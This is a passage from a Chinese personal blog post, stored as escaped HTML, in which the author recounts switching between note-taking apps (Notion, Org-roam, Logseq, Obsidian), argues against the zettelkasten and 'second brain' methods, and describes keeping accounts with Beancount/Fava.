&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;批注 2023-02-26 182307-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;批注 2023-02-26 182307-fs8.png&quot;
	alt=&quot;用Notion整理的读书笔记&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我也有尝试用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Notion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把自己脑内所有的知识写成百科全书。Notion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的页面层级和传统的文件系统一样：一个文件只能放进一个文件夹（快捷方式、链接是虚假的解决方法&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。所以我经常会苦恼和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A、B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都有关的页面是放到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;页面内还是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;页面内。&lt;&#x2F;p&gt;
&lt;p&gt;我得知&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Notion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不久后，Roam&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;ruby&gt;邪教&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Cult&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;又传到了国内。Roam
Research&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;主打双链：被链接的页面会显示谁链接了它。另外它还有一张唬人的宣传图：所有笔记的链接关系密密麻麻地画在一张图上，仿佛线条越密智商越高。我对这两个“震撼”功能都不感冒，倒是对它无需思考新页面的层级就能创建新页面这点很感兴趣。不过因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Roam
Research&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;高昂的订阅费，我没有尝试它。我仍然在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Notion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里完善自己的百科——只是放弃了层级，把大部分新增内容都放在了“杂项”页面内。&lt;&#x2F;p&gt;
&lt;p&gt;我有个同学很早便是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Roam
Research&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的用户，听他说那软件最牛的功能是存储笔记的方式——这段对话是几年前的了，所以记不太清，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.fkynjyq.com&#x2F;how-s-roam-research-doing-in-2023#0917f96228ce4839ab023d080c493b75:~:text=Roam%20Research%20%E7%9A%84%E6%8A%80%E6%9C%AF,%E8%AF%AD%E6%B3%95%E4%B9%9F%E6%9B%B4%E5%A4%8D%E6%9D%82%EF%BC%89&quot;&gt;大概是在讲&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Datalog&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;另外有个插曲：2020&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月底我在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Hacker
News&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上看到一款笔记软件的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Show
HN。很明显，那是一个以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为基础的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Roam
Research&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仿品。我受不了它的默认主题（看不清&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，但因为那款软件把数据放在本地、支持标签，而且可以链接视频。所以我用它来记录&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;▨▨&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;精彩片段的评语，试图用标签来快速查找当前最想重温的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;▨▨。不过这项工作因为硬盘快满了而宣告结束，那款黑得发蓝的软件也被我忽略了——不过几段之后还会提起它。&lt;&#x2F;p&gt;
&lt;p&gt;时间来到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2021&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月，笔记圈子里口口相传的《How
to Take Smart
Notes》终于有了中文版：&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;卡片笔记写作法&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。我久仰它的大名，自然是第一时间购入。那之前两个月我尝试了下主打无压输入短笔记的软件&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flomo。因为《卡片笔记写作法》的序和赠品明着推销&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flomo，所以我自然是边读书边在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flomo&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里记零碎想法，然后整理进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Notion。读完书也继续使用了一段时间这对的组合。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;Org-mode时代&quot;&gt;Org-mode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时代&lt;&#x2F;h4&gt;
&lt;p&gt;人闲了就会琢磨有的没的。时间再快进几个月，我想以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Notion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;表格&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;+&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;链接的形式实践卡片笔记法。不过结果实在是难用。莎士比亚有云：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;&lt;ruby&gt;折腾&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;残暴&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;的欢愉必将以&lt;ruby&gt;折腾&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;残暴&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;结束&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”没把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Notion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;折腾好，便必然要折腾别的软件。这世界上最能折腾的软件是谁？Emacs。&lt;&#x2F;p&gt;
&lt;p&gt;是的，我开始折腾&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-roam。学习了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-roam&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之后我发现它最好玩——啊不，最实用的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-mode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;混合文本及不同语言代码的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Babel。想象一下用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;curl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;jq&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拿到一些数据，直接打印到当前文本里；然后用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Python&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;对数据进行一些处理，打印成表格写到代码块下面；最后你把光标移到表格上，夸夸按两下快捷键，Gnuplot&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就把表格画成图插入了文本末端。用我导师的话说：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;Imagine
Jupyter Notebook done right.”&lt;&#x2F;p&gt;
&lt;p&gt;关于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-mode，那是三天三夜也说不完。这里只提&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-mode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以及背后的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Emacs&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的三条缺点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;功能太多导致兔子洞太深——因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-mode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有完善的引用语法、支持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;BibTeX，我有段时间写笔记几乎一句话一引用，而且每个引用精确到页码；&lt;&#x2F;li&gt;
&lt;li&gt;严重依赖组合快捷键——有的时候我真觉得我需要一台钢琴才能驾驭&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Emacs；&lt;&#x2F;li&gt;
&lt;li&gt;缺少移动端——其实&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Orgzly&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;挺好的，但少了很多功能；Emacs&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;如今也可以直接编译安卓版，但仍然要外接键盘（原因是上一点&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;总之我离开了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-mode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Emacs。转向了“支持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-mode”的开源&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Roam
Research&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仿品：Logseq。尝试一段时间后我对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Logseq&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;很失望。因为它对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Org-mode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的理解很奇怪：Org-mode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的大纲像小标题，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Logseq&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的大纲像&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的无序列表。我感觉这种阐释大纲的方式与我八字不合，而且&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Logseq&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开发人员审美有待提高，所以我放弃了它。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;Obsidian时代&quot;&gt;Obsidian&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时代&lt;&#x2F;h4&gt;
&lt;p&gt;然后&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2022&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年下半年我又把目光抛向了早年间被我用来整理&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;▨▨&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的软件。那款软件在我弃用之后莫名其妙地爆火，所以我又打算试试它——对的，它就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Obsidian。&lt;&#x2F;p&gt;
&lt;p&gt;其实换到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Obsidian&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时我的心态已经变了：什么数据库卡片盒去他的，我只要能跨平台同步&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就好。Obsidian&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在那时已经有了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;WebDAV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;插件、安卓客户端和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Markdown&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;预览，所以我就留在那里了。&lt;&#x2F;p&gt;
&lt;p&gt;客观来说，Obsidian&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的花样不如回归它之前尝试的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Logseq&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;多。但是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Obsidian&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不强迫我使用固定的文件结构、只用列表写一切、连接后头加空格。所以我没有选择&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Logseq。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;反对卡片盒笔记、第二大脑等等&quot;&gt;反对卡片盒笔记、第二大脑等等&lt;&#x2F;h3&gt;
&lt;p&gt;我曾被笔记圈里这些花哨的方法论所吸引，但目前我对他们不感冒了。&lt;&#x2F;p&gt;
&lt;p&gt;我反对《卡片笔记写作法》里认为笔记应该尽量上下文无关，让笔记可以自由组合这一点。我怀疑只有人文社科的知识可以这么操作，因为我发现自己记录的知识是和上下文连接紧密的。就算分到以段为单位，重组的方式也只有一种。当然，你可以说我用法错了：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;卡片盒笔记不是用来记细枝末节的小事的，而是记宏大的、放之四海而皆准的话题的&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”那我的回答是：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;别在天上飞了，要不你先到地上生活两天&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;p&gt;不过我支持那本书对闪念笔记和永久笔记的区分、永久笔记应该用自己的话等等几点。如果这套方法真能帮助写作的话，一定在于它把写作流程提前到笔记阶段：也就是说写作总体没有变简单，只是变成了功在平时罢了。以出版物的标准写笔记是它的精髓。&lt;&#x2F;p&gt;
&lt;p&gt;至于所谓第二大脑，听起来真酷啊——直到我想起来我本来就有个大脑。还有所谓数字花园，看起来完全可以用我脑壳里的东西替代。要说电子笔记有什么不能用大脑替代，可能就是发布了吧。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;博客与笔记一体化&quot;&gt;博客与笔记一体化&lt;&#x2F;h3&gt;
&lt;p&gt;我有段时间记笔记只是把零散的关键词拼凑起来，这让我的笔记本满是列表——即使它们在一个段落内，仍然是每句话在讲各自的事而毫无联系。我怀疑这是因为我思考时不爱用连词造成的：某种程度上说这意味着我的思维很活跃，但写作只会罗列而没有串联也暗示了作者逻辑有问题&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;我在重读本文时发现了很多破折号。直接用破折号连接句子可能和我不爱用量词有关系。如果没记错的话，小学语文老师就说过我很爱用破折号。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;所以在记笔记时我尽量让自己以教师的口吻来组织句子。这也是为什么我最认同《卡片笔记写作法》里说以可以直接拿去发表的语言写笔记，也是为什么我不认同它说笔记要减少上下文。&lt;&#x2F;p&gt;
&lt;p&gt;但如果笔记是私密的，我的惯性会让我继续只写关键词，然后得到一堆带有超链接却松散无味的笔记。反之，如果我要把笔记公开的话，我就有了打磨句子、琢磨结构间的关系的动力。博客是公开笔记最佳的载体：因为没什么人访问，而且我认识大部分访客，所以在这里公开也没什么压力。搁中学的话我想我会发微博，现在我已不敢在上面说话了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;批注 2023-02-26 223023-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;批注 2023-02-26 223023-fs8.png&quot;
	alt=&quot;这篇博客就是在笔记软件中写的&quot;
	height=&quot;850&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我又看了眼最近发布的博文：像《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;espresso-cube&#x2F;&quot;&gt;Espresso&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cube&lt;&#x2F;a&gt;》就是原来放在私人笔记的内容以博客的形式公开；而《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;&quot;&gt;关于动画的杂谈&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2022&lt;&#x2F;a&gt;》则是更常规的博客内容。从更新日期来看的话，我的博客在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;old-painting&#x2F;&quot;&gt;2020-06-28&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;&quot;&gt;2022-06-23&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年间断了两年。那两年很可能是去鼓捣笔记软件去了：安塔利亚的游记让我回归博客，接着我又重新发现可以把笔记发布在博客上。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;摘抄或导入标注的难题&quot;&gt;摘抄或导入标注的难题&lt;&#x2F;h3&gt;
&lt;p&gt;我写读书笔记时喜欢对着标注写评论：我之所以会标注某段，就是因为对那段有话想说。不过用手打字太难了，我还是偏向用软件同步标记（我一般看电子书&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;如何同步标记？以前主要用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kindle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;读书时会在读完后导出标记，再处理一下粘贴到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Notion&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里——但不时遇到标注内容超过出版社限制而无法导出的情况。后来开始用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;iPad&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自带的图书软件看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PDF，那更是导出的灾难：iPad&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不支持导出标记，如果把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PDF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拷出来会发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;iPad&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;做的标记全是乱码。所以现在我用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Edge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;读&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PDF，起码标记不会出乱码。&lt;&#x2F;p&gt;
&lt;p&gt;不过我仍然不清楚怎样导出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PDF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上的标注。而且由于我会在手机上用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ReadEra&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;读同一本书的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;EPUB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版，如何合并两个平台上两种格式的标注更是难题。目前我对标注的解决方法是：放弃同步。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;为了遗忘而记录&quot;&gt;为了遗忘而记录&lt;&#x2F;h3&gt;
&lt;p&gt;之所以会放弃同步、抛弃链接，是因为我发现我记笔记的出发点已经从整理知识转变成赶紧把脑子里想的事写下来、忘掉然后给更重要的话题腾空间。写这篇笔记&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;博文的原因也是此：我又开始纠结笔记、记账、计时的事了，而这些事纠结起来意义不大，所以找块时间把对它们的思考写下来就可以拍拍它们的屁股叫它们走人了。&lt;&#x2F;p&gt;
&lt;p&gt;我早已脱离了考察知识点的阶段，整理知识对我来说不那么重要了。所以我目前对笔记软件的态度就是垃圾桶（要是某个桶快满了就润色一遍然后发布&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。你可能会说了：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;活到老学到老&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”我也认可这句话，但我想提醒你一点：我&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;24&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时随身携带我的第一大脑。这颗大脑可比所谓的第二大脑厉害多了，我得优先使用它。要知道人不是机器，不追求节能，能用最强的器官就使劲用。&lt;&#x2F;p&gt;
&lt;p&gt;为遗忘而记录的态度也是我换笔记软件时不迁移笔记的原因。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;记账&quot;&gt;记账&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;Beancount&#x2F;Fava&quot;&gt;Beancount&#x2F;Fava&lt;&#x2F;h3&gt;
&lt;p&gt;我喜欢读&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;BYVoid&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的游记，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;byvoid.com&#x2F;zhs&#x2F;tags&#x2F;beancount&#x2F;&quot;&gt;BYVoid&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有四篇《Beancount&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;复式记账》教程。&lt;&#x2F;a&gt;最开始我以为那是什么区块链软件所以没有读过，但想要记账时又想起了它。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;没读完那四篇我就开始用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beancount&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和它的网页界面&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fava。到现在我已经记了六千多行了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;批注 2023-02-26 231405-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;批注 2023-02-26 231405-fs8.png&quot;
	alt=&quot;wc -l ed.beancount&quot;
	height=&quot;41&quot;
	width=&quot;189&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h4 id=&quot;两个吸引我的点&quot;&gt;两个吸引我的点&lt;&#x2F;h4&gt;
&lt;p&gt;我不是什么会计学爱好者，但是复式记账一笔交易不止一个来源一个对象这点很实用：想象一下你和同学吃饭，店家表示收现金打折但你们现金不够，于是你们一起掏出了所有现金后你用信用卡支付了优惠过的余额。这一笔在只有谁给谁多少钱的记账软件里如何表示的话，可能要分成好几笔交易。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;移动端&quot;&gt;移动端&lt;&#x2F;h4&gt;
&lt;p&gt;想要用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beancout&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;记账得等回家打开电脑才行（Fava&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的移动端适配不够用&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。这点对记账软件是很致命的缺陷：经本会计专家研究发现，如果交易发生后不立刻记录，有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;99%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的可能性永远不会记录。还好相比笔记而言，交易记录是死的，所以银行可以提供&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV——我该向谁要我没记录的笔记内容？&lt;&#x2F;p&gt;
&lt;h4 id=&quot;换软件？&quot;&gt;换软件？&lt;&#x2F;h4&gt;
&lt;p&gt;不过最近我有离开&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beancount&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的打算，因为我为了玩&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;deepdanbooru&#x2F;&quot;&gt;DeepDanbooru&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Python&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;环境搞崩了，而且&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beancount&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的查询语言实在又难写又弱。记账和计时类似，也应该&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#%E4%B8%BA%E4%BA%86%E5%88%86%E6%9E%90%E8%80%8C%E8%AE%B0%E5%BD%95&quot;&gt;为了分析而记录&lt;&#x2F;a&gt;。如果记账软件的分析功能不好用，还是应当换个软件。&lt;&#x2F;p&gt;
&lt;p&gt;我也有在考虑自己写，因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beancount&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的语法看起来很容易&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse。而且其他软件再好用仍然是别人的软件，不会比自己写的适合自己使用。但接下来的问题就是这件事是否值得自己写软件了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;还得是半自动&quot;&gt;还得是半自动&lt;&#x2F;h3&gt;
&lt;p&gt;我刚开始记账的几个月很兴奋呐，感觉自己已经可以管理世界五百强公司的财务了。每天恨不得花一笔就回家打开电脑记一笔。后来就感觉累了，让我每天记账是不可能的事。&lt;&#x2F;p&gt;
